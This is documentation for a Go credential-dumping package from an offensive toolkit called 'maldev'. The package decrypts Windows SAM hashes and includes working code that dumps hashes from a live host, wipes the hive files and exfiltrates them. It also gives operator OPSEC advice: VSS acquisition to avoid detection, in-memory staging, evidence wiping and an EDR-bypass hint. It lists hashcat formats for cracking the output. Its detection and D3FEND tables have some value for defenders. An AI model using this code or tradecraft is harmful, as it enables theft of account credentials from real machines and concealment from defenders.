SAM hive dump

← credentials index · docs/index

TL;DR

Decrypt local NT hashes from a Windows SAM hive (with SYSTEM supplying the boot key). Pure-Go REGF parser + AES/RC4/DES crypto; runs cross-platform once the operator has the hive bytes in hand. LiveDump shells out to reg save for live acquisition (Windows-only, loud on EDR).

Primer

Local Windows accounts live in the SAM registry hive under SAM\Domains\Account. Each user's NT/LM hash is stored encrypted — two layers of crypto stand between the on-disk bytes and a usable hash:

  1. The boot key (syskey) is split across four Lsa\{JD,Skew1,GBG,Data} class strings in the SYSTEM hive, permuted at boot to defeat trivial copies. Reassembling it requires the SYSTEM hive.
  2. The boot key encrypts the hashed bootkey stored in SAM\Domains\Account\F — itself an AES-128-CBC blob keyed on MD5(bootKey || rid_str || qwerty || rid_str) (legacy revision uses RC4).
  3. The hashed bootkey then derives per-user keys (RC4 or AES-128-CBC depending on the revision tag in F). Per-user keys decrypt the 16-byte LM and NT hash blobs in SAM\Domains\Account\Users\<RID>\V.
  4. Modern Windows (10 1607+) also wraps the hashes in a final DES permutation keyed on the RID — same algorithm Windows itself uses to look up the hash at logon.

samdump.Dump runs the entire chain in process memory with no syscalls. The hive bytes can come from anywhere — reg save, VSS shadow copy, raw NTFS read, recon/shadowcopy, or pulled offline from a backup. The package itself opens nothing.

How It Works

flowchart TD
    SYS[SYSTEM hive bytes] --> EBK[extractBootKey<br>permute Lsa class strings]
    EBK -->|16-byte boot key| HBK
    SAM[SAM hive bytes] --> RDF[readDomainAccountF<br>AES-encrypted blob]
    RDF --> HBK[deriveDomainKey<br>AES-128-CBC]
    HBK -->|hashed bootkey| LU
    SAM --> LU[listUserRIDs<br>walk Users key]
    LU --> PV[parseUserV<br>extract username + LM/NT enc]
    PV --> DEC[decryptUserNT / decryptUserLM<br>per-RID DES-permute<br>+ AES-128-CBC or RC4]
    DEC --> ACC[Account&#123;Username, RID, NT, LM&#125;]

Implementation details:

  • The REGF reader (hive.go) walks named keys and value records through nk / vk cells without depending on golang.org/x/sys or any Windows-only API — cross-platform out of the box.
  • Per-user failures are accumulated on Result.Warnings rather than aborting the dump; structural failures (missing boot key, malformed F, no Users key) return ErrDump.
  • Account.Pwdump renders the canonical username:RID:LM:NT::: format consumed by hashcat (-m 1000), John (--format=NT), CrackMapExec NTLM hash auth, and impacket secretsdump.

API Reference

type Account

godoc

One decrypted user record.

FieldTypeDescription
UsernamestringUTF-16 decoded sAMAccountName
RIDuint32Relative identifier (numeric SID component)
LM[]byte16-byte LM hash, or nil when inactive
NT[]byte16-byte NT (MD4) hash, or nil when inactive

Account.Pwdump() formats one secretsdump line. Empty hashes render as the all-zeros sentinel.

type Result

godoc

Aggregate output of a successful dump.

FieldTypeDescription
Accounts[]AccountOne entry per user RID
Warnings[]stringNon-fatal per-user anomalies (parse / decrypt failures, missing optional fields)

Result.Pwdump() renders the multi-line pwdump file.

Dump(systemHive, systemSize, samHive, samSize) (Result, error)

godoc

Run the full offline algorithm. Both readers must support ReadAt over the entire hive bytes; Dump loads each into memory once. No syscalls, cross-platform.

Returns: Result with per-user accounts; error wrapping ErrDump on structural failure.

LiveDump(dir string) (Result, string, string, error) (Windows)

godoc

Acquire the live SYSTEM + SAM hives via reg save to dir, then run Dump against them. Returns the Result plus the on-disk paths (system.hive, sam.hive) so the operator can re-feed the files to other tooling without re-acquiring.

Side effects: spawns reg.exe; writes hive files to disk. Requires admin + SeBackupPrivilege.

Returns: error wrapping ErrLiveDump if reg save or the underlying Dump fails.

Examples

Simple — offline hives

import (
    "fmt"
    "os"

    "github.com/oioio-space/maldev/credentials/samdump"
)

system, _ := os.Open(`/loot/SYSTEM`)
defer system.Close()
sam, _ := os.Open(`/loot/SAM`)
defer sam.Close()

sysFI, _ := system.Stat()
samFI, _ := sam.Stat()

res, err := samdump.Dump(system, sysFI.Size(), sam, samFI.Size())
if err != nil {
    panic(err)
}
fmt.Print(res.Pwdump())

Composed — live host, cleanup, exfil

import (
    "os"

    "github.com/oioio-space/maldev/credentials/samdump"
    "github.com/oioio-space/maldev/cleanup/wipe"
)

dir, _ := os.MkdirTemp("", "")
res, sysPath, samPath, err := samdump.LiveDump(dir)
defer func() {
    _ = wipe.File(sysPath)
    _ = wipe.File(samPath)
    _ = os.RemoveAll(dir)
}()
if err != nil {
    panic(err)
}
exfilPwdump(res.Pwdump())

Advanced — VSS shadow-copy acquisition

reg save is loud. For better OPSEC, acquire the hives via VSS shadow copies through recon/shadowcopy and feed the files into the offline Dump path:

sc, _ := shadowcopy.Create()
defer sc.Delete()

sysReader, _ := sc.Open(`Windows\System32\config\SYSTEM`)
samReader, _ := sc.Open(`Windows\System32\config\SAM`)

res, err := samdump.Dump(sysReader, sysReader.Size(),
    samReader, samReader.Size())

See ExampleDump for the runnable variant.

OPSEC & Detection

ArtefactWhere defenders look
reg save HKLM\SAM / HKLM\SYSTEMSysmon Event 1 (process creation) — reg.exe with save is one of the highest-fidelity credential-dumping signals
Two .hive files written to a writable directoryEDR file-write telemetry; staging directories under %TEMP% are correlated with credential dumping
RegSaveKeyEx Windows API callETW Microsoft-Windows-Kernel-Registry; bypassable via direct NtSaveKey syscall
Read access to HKLM\SAM SDDefender ASR rule "Block credential stealing from the Windows local security authority subsystem" (LSA-only, but heuristics overlap)

D3FEND counters:

  • D3-PSA — flags reg.exe save lineage.
  • D3-FCA — REGF magic on disk in atypical paths.
  • D3-SICA — registry hive-handle telemetry.

Hardening for the operator:

  • Prefer offline acquisition (VSS via recon/shadowcopy, raw NTFS read, backup files) over LiveDump.
  • Stage hive bytes through an in-memory io.ReaderAt (e.g. bytes.NewReader) to avoid the .hive files on disk altogether.
  • Wipe the dir immediately after parsing — cleanup/wipe.File zeroes the bytes before unlinking.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1003.002OS Credential Dumping: Security Account Managerfull — offline + LiveDumpD3-PSA, D3-FCA, D3-SICA

Limitations

  • Local accounts only. SAM holds only the workstation's local users. Domain credentials live in NTDS.dit on the DC; use separate tooling (impacket secretsdump remote, mimikatz lsadump::dcsync).
  • No history. Earlier NT/LM hashes (password-history feature) are stored in additional V regions not currently parsed.
  • DPAPI / cached creds out of scope. Domain cached credentials (Cache{N}) live in SECURITY hive; SECURITY parsing is not in this package.
  • LiveDump is loud. reg.exe save lights up every behavioral EDR. Plan for offline acquisition wherever the operational context allows.
  • AES revision only validated against Win10 1607+. Older XP/2003 RC4-keyed hives use the legacy code path; tested less recently.

See also